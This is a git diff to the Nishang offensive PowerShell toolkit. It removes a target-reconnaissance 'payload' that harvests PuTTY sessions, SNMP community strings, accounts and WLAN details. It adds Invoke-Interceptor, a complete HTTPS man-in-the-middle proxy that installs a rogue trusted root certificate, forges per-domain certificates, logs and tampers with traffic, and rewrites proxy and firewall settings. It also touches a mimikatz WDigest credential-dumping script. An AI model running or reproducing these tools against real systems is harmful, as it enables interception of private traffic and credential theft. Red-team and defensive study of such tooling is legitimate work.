diff --git a/CHANGELOG.txt b/CHANGELOG.txt index f69d771..936b924 100644 --- a/CHANGELOG.txt +++ b/CHANGELOG.txt @@ -1,3 +1,5 @@ +0.6.3 +- Added Invoke-Interceptor to the MITM directory. 0.6.2 - Added support for dumping cleartext credentials from RDP sessions for Invoke-MimikatzWfigestDowngrade. 0.6.1 diff --git a/Gather/Get-Information 1.ps1 b/Gather/Get-Information 1.ps1 deleted file mode 100644 index 99cd935..0000000 --- a/Gather/Get-Information 1.ps1 +++ /dev/null @@ -1,60 +0,0 @@ - -function Get-Information -{ -<# -.SYNOPSIS -Nishang Payload which gathers juicy information from the target. - -.DESCRIPTION -This payload extracts information form registry and some commands. -The information available would be dependent on the privilege with which the script would be executed. - -.EXAMPLE -PS > Get-Information - -Use above to execute the function. - -.LINK -http://labofapenetrationtester.blogspot.com/ -https://github.com/samratashok/nishang -#> - [CmdletBinding()] - Param () - - function registry_values($regkey, $regvalue,$child) - { - if ($child -eq "no"){$key = get-item $regkey} - else{$key = get-childitem $regkey} - $key | - ForEach-Object { - $values = Get-ItemProperty $_.PSPath - ForEach ($value in $_.Property) - { - if ($regvalue -eq "all") {$values.$value} - elseif ($regvalue -eq "allname"){$value} - else {$values.$regvalue;break} - }}} - $output = "Logged in users:`n" + ((registry_values "hklm:\software\microsoft\windows nt\currentversion\profilelist" "profileimagepath") -join "`r`n") - $output = $output + "`n`n Powershell environment:`n" + ((registry_values "hklm:\software\microsoft\powershell" "allname") -join "`r`n") - $output = $output + "`n`n Putty trusted hosts:`n" + ((registry_values "hkcu:\software\simontatham\putty" "allname") -join "`r`n") - $output = $output + "`n`n Putty saved sessions:`n" + ((registry_values "hkcu:\software\simontatham\putty\sessions" "all") -join "`r`n") - $output = $output + "`n`n Recently used commands:`n" + ((registry_values "hkcu:\software\microsoft\windows\currentversion\explorer\runmru" "all" "no") -join "`r`n") - $output = $output + "`n`n Shares on the machine:`n" + ((registry_values "hklm:\SYSTEM\CurrentControlSet\services\LanmanServer\Shares" "all" "no") -join "`r`n") - $output = $output + "`n`n Environment variables:`n" + ((registry_values "hklm:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" "all" "no") -join "`r`n") - $output = $output + "`n`n More details for current user:`n" + ((registry_values "hkcu:\Volatile Environment" "all" "no") -join "`r`n") - $output = $output + "`n`n SNMP community strings:`n" + ((registry_values "hklm:\SYSTEM\CurrentControlSet\services\snmp\parameters\validcommunities" "all" "no") -join "`r`n") - $output = $output + "`n`n SNMP community strings for current user:`n" + ((registry_values "hkcu:\SYSTEM\CurrentControlSet\services\snmp\parameters\validcommunities" "all" "no") -join "`r`n") - $output = $output + "`n`n Installed Applications:`n" + ((registry_values "hklm:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" "displayname") -join "`r`n") - $output = $output + "`n`n Installed Applications for current user:`n" + ((registry_values "hkcu:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" "displayname") -join "`r`n") - $output = $output + "`n`n Domain Name:`n" + ((registry_values "hklm:\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\History\" "all" "no") -join "`r`n") - $output = $output + "`n`n Contents of /etc/hosts:`n" + ((get-content -path "C:\windows\System32\drivers\etc\hosts") -join "`r`n") - $output = $output + "`n`n Running Services:`n" + ((net start) -join "`r`n") - $output = $output + "`n`n Account Policy:`n" + ((net accounts) -join "`r`n") - $output = $output + "`n`n Local users:`n" + ((net user) -join "`r`n") - $output = $output + "`n`n Local Groups:`n" + ((net localgroup) -join "`r`n") - $output = $output + "`n`n WLAN Info:`n" + ((netsh wlan show all) -join "`r`n") - $output - - -} -Get-Information \ No newline at end of file diff --git a/Gather/Invoke-MimikatzWDigestDowngrade.ps1 b/Gather/Invoke-MimikatzWDigestDowngrade.ps1 index fdc196f..312f6ed 100644 --- a/Gather/Invoke-MimikatzWDigestDowngrade.ps1 +++ b/Gather/Invoke-MimikatzWDigestDowngrade.ps1 @@ -2841,6 +2841,7 @@ Main } } + #Above should work for console login as well but the below code is better and more relaible as it uses WMI events to detect login. else { $actionblock = {& $mimikatz;Sleep 5; Remove-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential } diff --git a/MITM/Invoke-Interceptor.ps1 b/MITM/Invoke-Interceptor.ps1 new file mode 100644 index 0000000..7cfff71 --- /dev/null +++ b/MITM/Invoke-Interceptor.ps1 @@ -0,0 +1,789 @@ +function Invoke-Interceptor +{ +<# +.SYNOPSIS +Nishang script which is capable of intercepting HTTPS requests by setting up a proxy server and log them to a file. + +.DESCRIPTION + +This experimental script, written by Casey Smith (@subTee), demonstrates the ability to capture and tamper with Web sessions. +For secure sessions, this is done by dynamically writing certificates to match the requested domain. Interceptor IP and Port +(default 8081) must be set as proxy on a target browser. + +The script can be used from reverse shells, PowerShell Remoting etc. Keep in mind the user context with which the script is +executed. For example, executing this with SYSTEM privileges will not intercept traffic of a normal user. + +The script logs all the requests and responses to temporary directory of the current user. + +This script requires local administrative privileges to execute properly and installs certificates in Trusted Root Store. + +Traffic of Remote machines (where Interceptor is not runninng) if Interceptor is used as proxy. The certificate needs to be +installed on the remote machine by browsing to http://[InterceptorIP]:8082/i.cer. + +Function: Interceptor +Author: Casey Smith, Twitter: @subTee +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None +Version: 1.3.28 + +.PARAMETER ListenPort +Configurable Port to listen for incoming Web requests. The Default is 8081. + +.PARAMETER ProxyServer +In many environments it will be necessary to chain HTTP(s) requests upstream to another proxy server. +Default behavior expects no upstream proxy. + +.PARAMETER ProxyPort +In many environments it will be necessary to chain HTTP(s) requests upstream to another proxy server. +This sets the Port for the upstream proxy + +.PARAMETER Tamper +Sometimes replaces "Cyber" with "Kitten" + +.PARAMETER HostCA +This allows remote devices to connect and install the Interceptor Root Certificate Authority +From the remote/mobile device browse to http://[InterceptorIP]:8082/i.cer + +.PARAMETER AutoProxyConfig +This will alter the proxy settings to drive traffic through Interceptor. + +.PARAMETER Cleanup +Removes any installed certificates and exits. + +.PARAMETER SearchString +If Tamper is enabled, this will search for a string to be replace. To be used with 'ReplaceString' parameter + +.PARAMETER ReplaceString +If Tamper is enabled, this will be the string that replaces the string identified by the 'SearchString' parameter + +.PARAMETER Domains +Accepts a list of domains to create Trusted root Certs for at the beginning of script run.List should be delimited with a comma ',' . + +.PARAMETER Logfile +Log file where the script logs web requests and responses. The default is interceptor.log in the current user's temp directory. + + +.EXAMPLE +PS > Invoke-Interceptor -ProxyServer 192.168.230.21 -ProxyPort 3128 +Above command starts interceptor on default port 8081 and passes requests to the Upstream Proxy server. + +.Example +PS > Invoke-Interceptor -AutoProxyConfig +Above command starts interceptor and modifies the proxy settings of the target to drive traffic thorugh Interceptor. +The effect takes place when the browser is restarted. + +.EXAMPLE +PS > Invoke-Interceptor -Tamper +Above command starts interceptor and replaces "Cyber" with "Kittens" in web responses. + +.EXAMPLE +PS > Invoke-Interceptor -HostCA +Above command starts interceptor and serves certificate on http://[InterceptorIP]:8082/i.cer. A remote device, on which +interceptor is not running, must be forced to install this certificate and use Interceptor as proxy. +Only after that traffic of the remote device can be intercepted. + +.LINK +https://github.com/subTee/Interceptor +https://github.com/samratashok/nishang + +#> +[CmdletBinding()] +Param( + [Parameter(Mandatory=$False,Position=0)] + [int]$ListenPort, + + [Parameter(Mandatory=$False,Position=1)] + [string]$ProxyServer, + + [Parameter(Mandatory=$False,Position=2)] + [int]$ProxyPort, + + [Parameter(Mandatory=$False,Position=3)] + [switch]$Tamper, + + [Parameter(Mandatory=$False,Position=4)] + [switch]$HostCA, + + [Parameter(Mandatory=$False,Position=5)] + [switch]$AutoProxyConfig, + + [Parameter(Mandatory=$False,Position=6)] + [switch]$Cleanup, + + [Parameter(Mandatory=$False,Position=7)] + [string]$SearchString, + + [Parameter(Mandatory=$False,Position=8)] + [string]$ReplaceString, + + [Parameter(Mandatory=$False, Position=9)] + [string]$Domains, + + [Parameter(Mandatory=$False, Position=10)] + [string]$LogFile = "$env:temp\interceptor.log" +) + +function Set-AutomaticallyDetectProxySettings ($enable) +{ + # Read connection settings from Internet Explorer. + $regKeyPath = "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\" + $conSet = $(Get-ItemProperty $regKeyPath).DefaultConnectionSettings + + # Index into DefaultConnectionSettings where the relevant flag resides. + $flagIndex = 8 + + # Bit inside the relevant flag which indicates whether or not to enable automatically detect proxy settings. + $autoProxyFlag = 8 + + if ($enable) + { + if ($($conSet[$flagIndex] -band $autoProxyFlag) -eq $autoProxyFlag) + { + } + else + { + Write-Output "Enabling 'Automatically detect proxy settings'." + $conSet[$flagIndex] = $conSet[$flagIndex] -bor $autoProxyFlag + $conSet[4]++ + Set-ItemProperty -Path $regKeyPath -Name DefaultConnectionSettings -Value $conSet + } + } + else + { + if ($($conSet[$flagIndex] -band $autoProxyFlag) -eq $autoProxyFlag) + { + # 'Automatically detect proxy settings' was enabled, adding one disables it. + Write-Output "Disabling 'Automatically detect proxy settings'." + $mask = -bnot $autoProxyFlag + $conSet[$flagIndex] = $conSet[$flagIndex] -band $mask + $conSet[4]++ + Set-ItemProperty -Path $regKeyPath -Name DefaultConnectionSettings -Value $conSet + } + } + + $conSet = $(Get-ItemProperty $regKeyPath).DefaultConnectionSettings + if ($($conSet[$flagIndex] -band $autoProxyFlag) -ne $autoProxyFlag) + { + Write-Output "'Automatically detect proxy settings' is disabled." + } + else + { + Write-Output "'Automatically detect proxy settings' is enabled." + } +} +function Start-CertificateAuthority() +{ + #Thanks to @obscuresec for this Web Host + #Pulls CA Certificate from Store and Writes Directly back to Mobile Device + # example: http://localhost:8082/i.cer + Start-Job -ScriptBlock { + + $Hso = New-Object Net.HttpListener + $Hso.Prefixes.Add("http://+:8082/") + $Hso.Start() + While ($Hso.IsListening) { + $HC = $Hso.GetContext() + $HRes = $HC.Response + $HRes.Headers.Add("Content-Type","application/pkix-cert") + $cert = Get-ChildItem cert:\LocalMachine\Root | where { $_.Issuer -match "__Interceptor_Trusted_Root" } + $type = [System.Security.Cryptography.X509Certificates.X509ContentType]::cert + $Buf = $cert.Export($type) + $HRes.OutputStream.Write($Buf,0,$Buf) + $HRes.Close() + } + + } + + + +} + +function Invoke-RemoveCertificates([string] $issuedBy) +{ + $certs = Get-ChildItem cert:\LocalMachine\My | where { $_.Issuer -match $issuedBy } + if($certs) + { + foreach ($cert in $certs) + { + $store = Get-Item $cert.PSParentPath + $store.Open([System.Security.Cryptography.X509Certificates.OpenFlags]::MaxAllowed) + $store.Remove($cert) + $store.Close() + } + } + #Remove Any Trusted Root Certificates + $certs = Get-ChildItem cert:\LocalMachine\Root | where { $_.Issuer -match $issuedBy } + if($certs) + { + foreach ($cert in $certs) + { + $store = Get-Item $cert.PSParentPath + $store.Open([System.Security.Cryptography.X509Certificates.OpenFlags]::MaxAllowed) + $store.Remove($cert) + $store.Close() + } + } + + #Remove Any Intermediate CA Certificates #spaceB0x! + $certs = Get-ChildItem cert:\LocalMachine\CA | where { $_.Issuer -match $issuedBy } + if($certs) + { + foreach ($cert in $certs) + { + $store = Get-Item $cert.PSParentPath + $store.Open([System.Security.Cryptography.X509Certificates.OpenFlags]::MaxAllowed) + $store.Remove($cert) + $store.Close() + } + } + + [Console]::WriteLine("Certificates Removed") + +} + +# Customize key length +# Could add [System.Runtime.Interopservices.Marshal]::ReleaseComObject($x) at end to get rid of "-com processes" http://technet.microsoft.com/en-us/library/ff730962.aspx +# Could maybe customize Cert Names + +function Invoke-CreateCertificate([string] $certSubject, [bool] $isCA) +{ + $CAsubject = $certSubject + $dn = new-object -com "X509Enrollment.CX500DistinguishedName" + $dn.Encode( "CN=" + $CAsubject, $dn.X500NameFlags.X500NameFlags.XCN_CERT_NAME_STR_NONE) + #Issuer Property for cleanup + $issuer = "__Interceptor_Trusted_Root" + $issuerdn = new-object -com "X509Enrollment.CX500DistinguishedName" + $issuerdn.Encode("CN=" + $issuer, $dn.X500NameFlags.X500NameFlags.XCN_CERT_NAME_STR_NONE) + # Create a new Private Key + $key = new-object -com "X509Enrollment.CX509PrivateKey" + $key.ProviderName = "Microsoft Enhanced RSA and AES Cryptographic Provider" #"Microsoft Enhanced Cryptographic Provider v1.0" + # Set CAcert to 1 to be used for Signature + if($isCA) + { + $key.KeySpec = 2 + } + else + { + $key.KeySpec = 1 + } + $key.Length = 2048 + $key.MachineContext = 1 + $key.Create() + + # Create Attributes + $serverauthoid = new-object -com "X509Enrollment.CObjectId" + $serverauthoid.InitializeFromValue("1.3.6.1.5.5.7.3.1") + $ekuoids = new-object -com "X509Enrollment.CObjectIds.1" + $ekuoids.add($serverauthoid) + $ekuext = new-object -com "X509Enrollment.CX509ExtensionEnhancedKeyUsage" + $ekuext.InitializeEncode($ekuoids) + + $cert = new-object -com "X509Enrollment.CX509CertificateRequestCertificate" + $cert.InitializeFromPrivateKey(2, $key, "") + $cert.Subject = $dn + $cert.Issuer = $issuerdn + $cert.NotBefore = (get-date).AddDays(-1) #Backup One day to Avoid Timing Issues + $cert.NotAfter = $cert.NotBefore.AddDays(90) #Arbitrary... Change to persist longer... + #Use Sha256 + $hashAlgorithmObject = New-Object -ComObject X509Enrollment.CObjectId + $hashAlgorithmObject.InitializeFromAlgorithmName(1,0,0,"SHA256") + $cert.HashAlgorithm = $hashAlgorithmObject + #Good Reference Here http://www.css-security.com/blog/creating-a-self-signed-ssl-certificate-using-powershell/ + + $cert.X509Extensions.Add($ekuext) + if ($isCA) + { + $basicConst = new-object -com "X509Enrollment.CX509ExtensionBasicConstraints" + $basicConst.InitializeEncode("true", 1) + $cert.X509Extensions.Add($basicConst) + } + else + { + $signer = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Subject -match "__Interceptor_Trusted_Root" }) + $signerCertificate = new-object -com "X509Enrollment.CSignerCertificate" + $signerCertificate.Initialize(1,0,4, $signer.Thumbprint) + $cert.SignerCertificate = $signerCertificate + } + $cert.Encode() + + $enrollment = new-object -com "X509Enrollment.CX509Enrollment" + $enrollment.InitializeFromRequest($cert) + $certdata = $enrollment.CreateRequest(0) + $enrollment.InstallResponse(2, $certdata, 0, "") + + if($isCA) + { + + # Need a Better way to do this... + $CACertificate = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Subject -match "__Interceptor_Trusted_Root" }) + # Install CA Root Certificate + $StoreScope = "LocalMachine" + $StoreName = "Root" + $store = New-Object System.Security.Cryptography.X509Certificates.X509Store $StoreName, $StoreScope + $store.Open([System.Security.Cryptography.X509Certificates.OpenFlags]::ReadWrite) + $store.Add($CACertificate) + $store.Close() + + } + else + { + return (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Subject -match $CAsubject }) + } + +} + +function Receive-ServerHttpResponse ([System.Net.WebResponse] $response) +{ + #Returns a Byte[] from HTTPWebRequest, also for HttpWebRequest Exception Handling + Try + { + [string]$rawProtocolVersion = "HTTP/" + $response.ProtocolVersion + [int]$rawStatusCode = [int]$response.StatusCode + [string]$rawStatusDescription = [string]$response.StatusDescription + $rawHeadersString = New-Object System.Text.StringBuilder + $rawHeaderCollection = $response.Headers + $rawHeaders = $response.Headers.AllKeys + [bool] $transferEncoding = $false + # This is used for Chunked Processing. + + foreach($s in $rawHeaders) + { + #We'll handle setting cookies later + if($s -eq "Set-Cookie") { Continue } + if($s -eq "Transfer-Encoding") + { + $transferEncoding = $true + continue + } + [void]$rawHeadersString.AppendLine($s + ": " + $rawHeaderCollection.Get($s) ) #Use [void] or you will get extra string stuff. + } + $setCookieString = $rawHeaderCollection.Get("Set-Cookie") -Split '($|,(?! ))' #Split on "," but not ", " + if($setCookieString) + { + foreach ($respCookie in $setCookieString) + { + if($respCookie -eq "," -Or $respCookie -eq "") {continue} + [void]$rawHeadersString.AppendLine("Set-Cookie: " + $respCookie) + } + } + + $responseStream = $response.GetResponseStream() + + $rstring = $rawProtocolVersion + " " + $rawStatusCode + " " + $rawStatusDescription + "`r`n" + $rawHeadersString.ToString() + "`r`n" + + [byte[]] $rawHeaderBytes = [System.Text.Encoding]::Ascii.GetBytes($rstring) + + Write-Host $rstring + + #Write to log file + Out-File -FilePath $LogFile -InputObject $rstring -Append + [void][byte[]] $outdata + $tempMemStream = New-Object System.IO.MemoryStream + [byte[]] $respbuffer = New-Object Byte[] 32768 # 32768 + + if($transferEncoding) + { + $reader = New-Object System.IO.StreamReader($responseStream) + [string] $responseFromServer = $reader.ReadToEnd() + + if ($Tamper) + { + if (($SearchString -ne $null) -and ($ReplaceString -ne $null)) + { + if($responseFromServer -match $SearchString) + { + $responseFromServer = $responseFromServer -replace $SearchString,$ReplaceString + } + } + + else + { + $responseFromServer = $responseFromServer -replace 'Cyber', 'Kitten' # First junk to try + } + } + + $outdata = [System.Text.Encoding]::UTF8.GetBytes($responseFromServer) + $reader.Close() + } + else + { + while($true) + { + [int] $read = $responseStream.Read($respbuffer, 0, $respbuffer.Length) + if($read -le 0) + { + $outdata = $tempMemStream.ToArray() + break + } + $tempMemStream.Write($respbuffer, 0, $read) + } + + if ($Tamper -And $response.ContentType -match "text/html") + { + + $outdataReplace = [System.Text.Encoding]::UTF8.GetString($outdata) + if($outdataReplace -match 'Cyber') + { + $outdataReplace = $outdataReplace -Replace 'Cyber', 'Kitten' + $outdata = [System.Text.Encoding]::UTF8.GetBytes($outdataReplace) + } + + + } + } + [byte[]] $rv = New-Object Byte[] ($rawHeaderBytes.Length + $outdata.Length) + #Combine Header Bytes and Entity Bytes + + [System.Buffer]::BlockCopy( $rawHeaderBytes, 0, $rv, 0, $rawHeaderBytes.Length) + [System.Buffer]::BlockCopy( $outdata, 0, $rv, $rawHeaderBytes.Length, $outdata.Length ) + + + $tempMemStream.Close() + $response.Close() + + return $rv + } + Catch [System.Exception] + { + [Console]::WriteLine("Get Response Error") + [Console]::WriteLine($_.Exception.Message) + }#End Catch + +} + +function Send-ServerHttpRequest([string] $URI, [string] $httpMethod,[byte[]] $requestBytes, [System.Net.WebProxy] $proxy ) +{ + #Prepare and Send an HttpWebRequest From Byte[] Returns Byte[] + Try + { + $requestParse = [System.Text.Encoding]::UTF8.GetString($requestBytes) + [string[]] $requestString = ($requestParse -split '[\r\n]') |? {$_} + + [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} + [System.Net.HttpWebRequest] $request = [System.Net.HttpWebRequest] [System.Net.WebRequest]::Create($URI) + + $request.KeepAlive = $false + $request.ProtocolVersion = [System.Net.Httpversion]::version11 + $request.ServicePoint.ConnectionLimit = 1 + if($proxy -eq $null) { $request.Proxy = [System.Net.GlobalProxySelection]::GetEmptyWebProxy() } + else { $request.Proxy = $proxy } + $request.Method = $httpMethod + $request.AllowAutoRedirect = $false + $request.AutomaticDecompression = [System.Net.DecompressionMethods]::None + + For ($i = 1; $i -le $requestString.Length; $i++) + { + $line = $requestString[$i] -split ": " + if ( $line[0] -eq "Host" -Or $line[0] -eq $null ) { continue } + Try + { + #Add Header Properties Defined By Class + switch($line[0]) + { + "Accept" { $request.Accept = $line[1] } + "Connection" { "" } + "Content-Length" { $request.ContentLength = $line[1] } + "Content-Type" { $request.ContentType = $line[1] } + "Expect" { $request.Expect = $line[1] } + "Date" { $request.Date = $line[1] } + "If-Modified-Since" { $request.IfModifiedSince = $line[1] } + "Range" { $request.Range = $line[1] } + "Referer" { $request.Referer = $line[1] } + "User-Agent" { $request.UserAgent = $line[1] + " Intercepted Traffic"} + # Added Tampering Here...User-Agent Example + "Transfer-Encoding" { $request.TransferEncoding = $line[1] } + default { + if($line[0] -eq "Accept-Encoding") + { + $request.Headers.Add( $line[0], " ") #Take that Gzip... GETS rid of gzip compression....makes tampering easeir + #Otherwise have to decompress response to tamper with content... + } + else + { + $request.Headers.Add( $line[0], $line[1]) + } + + } + } + + } + Catch + { + + } + } + + if (($httpMethod -eq "POST") -And ($request.ContentLength -gt 0)) ##Allows the ability to tread POST requests differently + { + [System.IO.Stream] $outputStream = [System.IO.Stream]$request.GetRequestStream() + $outputStream.Write($requestBytes, $requestBytes.Length - $request.ContentLength, $request.ContentLength) + $outputStream.Close() + } + + + return Receive-ServerHttpResponse $request.GetResponse() + + } + Catch [System.Net.WebException] + { + #HTTPWebRequest Throws exceptions based on Server Response. So catch and return server response + if ($_.Exception.Response) + { + return Receive-ServerHttpResponse $_.Exception.Response + } + + }#End Catch Web Exception + Catch [System.Exception] + { + Write-Verbose $_.Exception.Message + }#End General Exception Occured... + +}#Proxied Get + +function Receive-ClientHttpRequest([System.Net.Sockets.TcpClient] $client, [System.Net.WebProxy] $proxy) +{ + + Try + { + $clientStream = $client.GetStream() + $byteArray = new-object System.Byte[] 32768 + [void][byte[]] $byteClientRequest + + do + { + [int] $NumBytesRead = $clientStream.Read($byteArray, 0, $byteArray.Length) + $byteClientRequest += $byteArray[0..($NumBytesRead - 1)] + + } While ($clientStream.DataAvailable -And $NumBytesRead -gt 0) + + #Now you have a byte[] Get a string... Caution, not all that is sent is "string" Headers will be. + $requestString = [System.Text.Encoding]::UTF8.GetString($byteClientRequest) + + [string[]] $requestArray = ($requestString -split '[\r\n]') |? {$_} + [string[]] $methodParse = $requestArray[0] -split " " + #Begin SSL MITM IF Request Contains CONNECT METHOD + + if($methodParse[0] -ceq "CONNECT") + { + [string[]] $domainParse = $methodParse[1].Split(":") + + $connectSpoof = [System.Text.Encoding]::Ascii.GetBytes("HTTP/1.1 200 Connection Established`r`nTimeStamp: " + [System.DateTime]::Now.ToString() + "`r`n`r`n") + $clientStream.Write($connectSpoof, 0, $connectSpoof.Length) + $clientStream.Flush() + $sslStream = New-Object System.Net.Security.SslStream($clientStream , $false) + $sslStream.ReadTimeout = 500 + $sslStream.WriteTimeout = 500 + $sslcertfake = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Subject -eq "CN=" + $domainParse[0] }) + + if ($sslcertfake -eq $null) + { + $sslcertfake = Invoke-CreateCertificate $domainParse[0] $false + } + + $sslStream.AuthenticateAsServer($sslcertfake, $false, [System.Security.Authentication.SslProtocols]::Tls12, $false) + + $sslbyteArray = new-object System.Byte[] 32768 + [void][byte[]] $sslbyteClientRequest + + do + { + [int] $NumBytesRead = $sslStream.Read($sslbyteArray, 0, $sslbyteArray.Length) + $sslbyteClientRequest += $sslbyteArray[0..($NumBytesRead - 1)] + } while ( $clientStream.DataAvailable ) + + $SSLRequest = [System.Text.Encoding]::UTF8.GetString($sslbyteClientRequest) + Write-Host $SSLRequest -Fore Yellow + Out-File -FilePath $LogFile -Append -InputObject $SSLRequest + + [string[]] $SSLrequestArray = ($SSLRequest -split '[\r\n]') |? {$_} + [string[]] $SSLmethodParse = $SSLrequestArray[0] -split " " + + $secureURI = "https://" + $domainParse[0] + $SSLmethodParse[1] + + [byte[]] $byteResponse = Send-ServerHttpRequest $secureURI $SSLmethodParse[0] $sslbyteClientRequest $proxy + + if($byteResponse[0] -eq '0x00') + { + $sslStream.Write($byteResponse, 1, $byteResponse.Length - 1) + } + else + { + $sslStream.Write($byteResponse, 0, $byteResponse.Length ) + } + + + + }#End CONNECT/SSL Processing + Else + { + Write-Host $requestString -Fore Cyan + Out-File -FilePath $LogFile -Append -InputObject $requestString + [byte[]] $proxiedResponse = Send-ServerHttpRequest $methodParse[1] $methodParse[0] $byteClientRequest $proxy + if($proxiedResponse[0] -eq '0x00') + { + $clientStream.Write($proxiedResponse, 1, $proxiedResponse.Length - 1 ) + } + else + { + $clientStream.Write($proxiedResponse, 0, $proxiedResponse.Length ) + } + + }#End Http Proxy + + + }# End HTTPProcessing Block + Catch + { + Write-Verbose $_.Exception.Message + $client.Close() + } + Finally + { + $client.Close() + } + +} + +function Main() +{ + if($Cleanup) + { + Invoke-RemoveCertificates( "__Interceptor_Trusted_Root" ) + exit + } + + # Create And Install Trusted Root CA. + $CAcertificate = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Subject -match "__Interceptor_Trusted_Root" }) + if ($CACertificate -eq $null) + { + Invoke-CreateCertificate "__Interceptor_Trusted_Root" $true + } + + # Create Some Certificates Early to Speed up Capture. If you wanted to... + # You could Add Auto Proxy Configuration here too. + if($Domains -ne $null) + { + + + + [string[]] $domainList = ($Domains -split '[,]') |? {$_} + foreach ($d in $domainList) + { + Write-Output $d + $sslcertfake = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Subject -eq "CN=" + $d }) + + if($sslcertfake -eq $null){ + $sslcertfake = Invoke-CreateCertificate $d $true + + } + # Taken from Invoke-CreateCertificate method + # Install CA Root Certificate + $StoreScope = "LocalMachine" + $StoreName = "Root" + $store = New-Object System.Security.Cryptography.X509Certificates.X509Store $StoreName, $StoreScope + $store.Open([System.Security.Cryptography.X509Certificates.OpenFlags]::ReadWrite) + Write-Output "Adding certs" + Write-Output $sslcertfake + "is" + $store.Add($sslcertfake) + $store.Close() + + } + + } + + + if($HostCA) + { + netsh advfirewall firewall delete rule name="Interceptor Proxy 8082" | Out-Null #First Run May Throw Error...Thats Ok..:) + netsh advfirewall firewall add rule name="Interceptor Proxy 8082" dir=in action=allow protocol=TCP localport=8082 | Out-Null + Start-CertificateAuthority + + } + + if($ListenPort) + { + $port = $ListenPort + } + else + { + $port = 8081 + } + + $endpoint = New-Object System.Net.IPEndPoint ([system.net.ipaddress]::any, $port) + $listener = New-Object System.Net.Sockets.TcpListener $endpoint + + #This sets up a local firewall rule to suppress the Windows "Allow Listening Port Prompt" + netsh advfirewall firewall delete rule name="Interceptor Proxy $port" | Out-Null #First Run May Throw Error...Thats Ok..:) + netsh advfirewall firewall add rule name="Interceptor Proxy $port" dir=in action=allow protocol=TCP localport=$port | Out-Null + + if($AutoProxyConfig) + { + #TODO - Map Existing Proxy Settings, for transparent upstream chaining + # + $proxyServerToDefine = "localhost:$port" + + $regKey="HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings" + + Set-AutomaticallyDetectProxySettings ($false) + + Set-ItemProperty -path $regKey ProxyEnable -value 1 + Set-ItemProperty -path $regKey ProxyServer -value $proxyServerToDefine + Write-Output "Proxy is now enabled" + + } + + + #There are issues in Windows 8.1 with Loopback Isolation, IE EPM, and RC4 Cipher. + if ((Get-WmiObject Win32_OperatingSystem).Version -match "6.3") + { + CheckNetIsolation LoopbackExempt -a -n=windows_ie_ac_001 + #Registry key path + $Keypath = "HKCU:\Software\Microsoft\Internet Explorer\Main" + #Get registry key value named "Isolation" + $value = Get-ItemProperty -Path $Keypath -Name "Isolation" -ErrorAction SilentlyContinue + Set-ItemProperty -Path $Keypath -Name "Isolation" -Value "PMIL" + #Disable RC4 Cipher + md "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Ciphers\RC4 128" -ErrorAction SilentlyContinue + md "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Ciphers\RC4 128/128" -ErrorAction SilentlyContinue + new-itemproperty -path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Ciphers\RC4 128/128" ` + -name "Enabled" -value 0 -PropertyType "Dword" -ErrorAction SilentlyContinue + + } + + if($ProxyServer) + { + $proxy = New-Object System.Net.WebProxy($ProxyServer, $ProxyPort) + [Console]::WriteLine("Using Proxy Server $ProxyServer : $ProxyPort") + } + else + { + $proxy = $null + # If you are going Direct. You need this to be null, or HTTPWebrequest loops... + [Console]::WriteLine("Using Direct Internet Connection") + } + + + $listener.Start() + [Console]::WriteLine("Listening on $port") + $client = New-Object System.Net.Sockets.TcpClient + $client.NoDelay = $true + + + + while($true) + { + + $client = $listener.AcceptTcpClient() + if($client -ne $null) + { + Receive-ClientHttpRequest $client $proxy + } + + } + + +} + +Main +} \ No newline at end of file